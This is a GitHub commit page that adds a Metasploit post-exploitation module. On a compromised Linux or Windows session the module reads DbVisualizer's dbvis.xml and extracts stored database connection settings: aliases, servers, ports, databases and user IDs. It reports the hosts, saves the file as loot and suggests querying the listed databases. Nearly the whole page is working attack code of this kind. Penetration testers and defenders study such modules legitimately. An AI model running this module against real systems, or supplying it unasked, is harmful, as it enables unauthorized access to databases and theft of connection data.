Skip to content

Commit 57b1023

Browse files
committed
Land rapid7#3522 - Multi Gather Dbvis Connections Settings
2 parents 1cac801 + 1d6f088 commit 57b1023

File tree

1 file changed

+290
-0
lines changed

1 file changed

+290
-0
lines changed
Lines changed: 290 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,290 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Unix
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'Multi Gather Dbvis Connections Settings',
18+
'Description' => %q{
19+
DbVisualizer stores the user database configuration in dbvis.xml.
20+
This module retrieves the connections settings from this file.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
24+
'Platform' => %w{ linux win },
25+
'SessionTypes' => [ 'meterpreter', 'shell']
26+
))
27+
end
28+
29+
def run
30+
31+
32+
oldversion = false
33+
34+
case session.platform
35+
when /linux/
36+
user = session.shell_command("whoami").chomp
37+
print_status("Current user is #{user}")
38+
if (user =~ /root/)
39+
user_base = "/root/"
40+
else
41+
user_base = "/home/#{user}/"
42+
end
43+
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
44+
when /win/
45+
if session.type =~ /meterpreter/
46+
user_profile = session.sys.config.getenv('USERPROFILE')
47+
else
48+
user_profile = cmd_exec("echo %USERPROFILE%").strip
49+
end
50+
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
51+
end
52+
53+
54+
unless file?(dbvis_file)
55+
# File not found, we next try with the old config path
56+
print_status("File not found: #{dbvis_file}")
57+
print_status("This could be an older version of dbvis, trying old path")
58+
case session.platform
59+
when /linux/
60+
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
61+
when /win/
62+
dbvis_file = user_profile + "\\.dbvis\\config\\dbvis.xml"
63+
end
64+
unless file?(dbvis_file)
65+
print_error("File not found: #{dbvis_file}")
66+
return
67+
end
68+
oldversion = true
69+
end
70+
71+
72+
print_status("Reading: #{dbvis_file}")
73+
print_line()
74+
raw_xml = ""
75+
begin
76+
raw_xml = read_file(dbvis_file)
77+
rescue EOFError
78+
# If there's nothing in the file, we hit EOFError
79+
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
80+
return
81+
end
82+
83+
if oldversion
84+
# Parse old config file
85+
db_table = pareseOldConfigFile(raw_xml)
86+
else
87+
# Parse new config file
88+
db_table = pareseNewConfigFile(raw_xml)
89+
end
90+
91+
if db_table.rows.empty?
92+
print_status("No database settings found")
93+
else
94+
print_line("\n")
95+
print_line(db_table.to_s)
96+
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
97+
print_line()
98+
# store found databases
99+
p = store_loot(
100+
"dbvis.databases",
101+
"text/csv",
102+
session,
103+
db_table.to_csv,
104+
"dbvis_databases.txt",
105+
"dbvis databases")
106+
print_good("Databases settings stored in: #{p.to_s}")
107+
end
108+
109+
print_status("Downloading #{dbvis_file}")
110+
p = store_loot("dbvis.xml", "text/xml", session, read_file(dbvis_file), "#{dbvis_file}", "dbvis config")
111+
print_good "dbvis.xml saved to #{p.to_s}"
112+
end
113+
114+
115+
# New config file parse function
116+
def pareseNewConfigFile(raw_xml)
117+
118+
db_table = Rex::Ui::Text::Table.new(
119+
'Header' => "Dbvis Databases",
120+
'Indent' => 2,
121+
'Columns' =>
122+
[
123+
"Alias",
124+
"Type",
125+
"Server",
126+
"Port",
127+
"Database",
128+
"Namespace",
129+
"Userid",
130+
])
131+
132+
dbs = []
133+
db = {}
134+
dbfound = false
135+
versionFound = false
136+
# fetch config file
137+
raw_xml.each_line do |line|
138+
139+
if versionFound == false
140+
vesrionFound = findVersion(line)
141+
end
142+
143+
if line =~ /<Database id=/
144+
dbfound = true
145+
elsif line =~ /<\/Database>/
146+
dbfound = false
147+
if db[:Database].nil?
148+
db[:Database] = "";
149+
end
150+
if db[:Namespace].nil?
151+
db[:Namespace] = "";
152+
end
153+
# save
154+
dbs << db if (db[:Alias] and db[:Type] and db[:Server] and db[:Port] )
155+
db = {}
156+
end
157+
158+
if dbfound == true
159+
# get the alias
160+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
161+
db[:Alias] = $1
162+
end
163+
164+
# get the type
165+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
166+
db[:Type] = $1
167+
end
168+
169+
# get the user
170+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
171+
db[:Userid] = $1
172+
end
173+
174+
# get the server
175+
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
176+
db[:Server] = $1
177+
end
178+
179+
# get the port
180+
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
181+
db[:Port] = $1
182+
end
183+
184+
# get the database
185+
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
186+
db[:Database] = $1
187+
end
188+
189+
# get the Namespace
190+
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
191+
db[:Namespace] = $1
192+
end
193+
end
194+
end
195+
196+
# Fill the tab and report eligible servers
197+
dbs.each do |db|
198+
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
199+
print_good("Reporting #{db[:Server]} ")
200+
report_host(:host => db[:Server]);
201+
end
202+
203+
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
204+
end
205+
return db_table
206+
end
207+
208+
209+
# New config file parse function
210+
def pareseOldConfigFile(raw_xml)
211+
212+
db_table = Rex::Ui::Text::Table.new(
213+
'Header' => "Dbvis Databases",
214+
'Indent' => 2,
215+
'Columns' =>
216+
[
217+
"Alias",
218+
"Type",
219+
"Url",
220+
"Userid",
221+
])
222+
223+
dbs = []
224+
db = {}
225+
dbfound = false
226+
versionFound = false
227+
228+
# fetch config file
229+
raw_xml.each_line do |line|
230+
231+
if versionFound == false
232+
vesrionFound = findVersion(line)
233+
end
234+
235+
if line =~ /<Database id=/
236+
dbfound = true
237+
elsif line =~ /<\/Database>/
238+
dbfound = false
239+
# save
240+
dbs << db if (db[:Alias] and db[:Url] )
241+
db = {}
242+
end
243+
244+
if dbfound == true
245+
# get the alias
246+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
247+
db[:Alias] = $1
248+
end
249+
250+
# get the type
251+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
252+
db[:Type] = $1
253+
end
254+
255+
# get the user
256+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
257+
db[:Userid] = $1
258+
end
259+
260+
# get the user
261+
if (line =~ /<Url>([\S+\s+]+)<\/Url>/i)
262+
db[:Url] = $1
263+
end
264+
end
265+
end
266+
267+
# Fill the tab
268+
dbs.each do |db|
269+
if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i)
270+
if ::Rex::Socket.is_ipv4?($1.to_s)
271+
print_good("Reporting #{$1}")
272+
report_host(:host => $1.to_s)
273+
end
274+
end
275+
db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ]
276+
end
277+
return db_table
278+
end
279+
280+
281+
def findVersion(tag)
282+
found = false
283+
if (tag =~ /<Version>([\S+\s+]+)<\/Version>/i)
284+
print_good("DbVisualizer version : #{$1}")
285+
found = true
286+
end
287+
return found
288+
end
289+
290+
end

0 commit comments

Comments
 (0)